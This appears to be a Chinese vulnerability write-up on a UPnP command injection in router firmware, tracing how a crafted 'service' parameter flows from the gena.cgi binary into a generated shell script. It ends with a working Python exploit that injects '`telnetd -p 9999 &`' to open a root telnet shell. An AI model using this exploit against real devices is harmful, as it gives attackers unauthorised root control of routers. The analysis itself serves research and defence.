请注意,本文编写于 412 天前,最后修改于 412 天前,其中某些信息可能已经过时。
本漏洞主要原理是在UPnP协议的实现代码中存在命令注入漏洞,通过构造相应的exp实现root权限的获取。
UPnP(通用即插即用)是一种网络协议,旨在使网络设备之间的连接和通信更加简单和自动化。它允许设备自动发现和配置彼此,并使它们能够共享服务和功能。
UPnP协议基于TCP/IP协议栈,并使用了一些其他的标准和协议,如UDP、HTTP、XML等。以下是UPnP协议的主要特点和功能:
UPnP协议广泛应用于家庭和小型办公网络中,如智能家居设备、网络打印机、网络存储设备等。它使设备的安装和配置更加简单,用户可以轻松地将设备添加到网络中,并享受设备间的自动交互和功能共享。
这里使用了qemu-system进行了环境搭建,总体流程与上几篇文章相似,完成搭建如图所示:
二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。
根据路径和文件名,/htdocs/cgibin 二进制可执行文件可能是路由器固件中的一个CGI脚本或二进制可执行文件。CGI(通用网关接口)是一种标准协议,用于在Web服务器上执行动态脚本或程序。
在路由器固件中,/htdocs/cgibin 可能用于处理Web页面上的动态内容或执行一些功能性任务。以下是一些可能的作用:
int __fastcall sub_40FCE0(const char *a1)
{
char *v2; // $s6
char *v3; // $s4
char *v4; // $s1
char *v5; // $s3
char *v6; // $s5
char *v7; // $s2
int v8; // $v0
int v9; // $a0
int v10; // $s5
int v11; // $v0
char *v12; // $v0
const char *v13; // $s1
int v14; // $v0
char *v15; // $v0
char *v16; // $s4
__pid_t v17; // $v0
__pid_t v18; // $v0
int v19; // $v0
int v20; // $v1
int v21; // $v0
char v23[516]; // [sp+40h] [-204h] BYREF
v2 = getenv("SERVER_ID");
v3 = getenv("HTTP_SID");
v4 = getenv("HTTP_CALLBACK");
v5 = getenv("HTTP_TIMEOUT");
v6 = getenv("HTTP_NT");
v7 = getenv("REMOTE_ADDR");
if ( !v7 )
v7 = (char *)"";
if ( !v2 )
v2 = (char *)"";
if ( v3 )
{
v9 = 400;
if ( v4 || v6 || !v5 )
goto LABEL_27;
v19 = strcasecmp(v5, "Second-infinite");
v20 = 0;
if ( v19 )
{
v21 = strncasecmp(v5, "Second-", 7u);
v9 = 400;
if ( v21 )
goto LABEL_27;
v20 = atoi(v5 + 7);
}
snprintf(
v23,
0x200u,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
"/htdocs/upnp/run.NOTIFY.php",
v2,
a1,
v3,
v20,
"/var/run",
a1);
xmldbc_ephp(0, 0, v23, stdout);
return 0;
}
代码中定义了一些局部变量v2、v3、v4、v5、v6、v7、v8、v9、v10、v11、v12、v13、v14、v15、v16、v17、v18、v19、v20、v21和v23。接下来的代码是对一些环境变量进行获取,如SERVER_ID、HTTP_SID、HTTP_CALLBACK、HTTP_TIMEOUT、HTTP_NT和REMOTE_ADDR。然后,代码进行一系列的条件判断和操作。如果v3存在,则进入条件判断的代码块。在条件判断的代码块中,首先判断v4、v6和v5是否存在,如果存在其中之一或v5不存在,则跳转到LABEL_27处执行。接下来,代码对v5进行字符串比较和转换操作。如果v5与"Second-infinite"不相同,则进入一个子条件判断。如果v5以"Second-"开头,则提取出数字部分并转换为整数保存到v20中。然后,代码使用snprintf函数格式化字符串,并将结果保存在v23中。最后,调用了xmldbc_ephp函数,并传递了一些参数,然后返回0。
根据伪代码的分析。sub_40FCE0函数的功能如下:
根据代码中的字符串和函数调用,可以推测该函数可能与HTTP订阅相关。它可能用于处理HTTP请求中的订阅相关逻辑,包括获取环境变量、解析参数、生成订阅通知的内容,然后调用xmldbc_ephp函数进行处理。
xmldbc_ephp函数将预处理的参数发送至了run.NOTIFY.php,我们紧接着分析该PHP。
<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>
本php并没有任何问题,但是他引入了一个名为gena.php的文件,我们的漏洞存在与此文件中。在这个文件中,存在一个GENA_subscribe_new函数。
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
//...
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
//...
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}
变量shell_file来自于cgibin中的SHELL_FILE=%s/%s_%d.sh %(service, PID),其中service是url中的可控参数。php在最后加了句rm指令,用来删除自身。如果将$shell_file写为用反引号包裹的系统命令(如后台开启telnetd),在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,就能出发RCE。
#!/usr/bin/python3
# get shell
# sudo python3 exp.py
import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
print('[*] Sending Payload')
sleep(1)
con.connect((socket.gethostbyname(server), port))
con.send(request.encode())
results = con.recv(4096)
print('[*] Running Telnetd Service')
sleep(2)
print('[*] Opening Telnet Connection\n')
os.system('telnet ' + str(server) + ' 9999')
serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!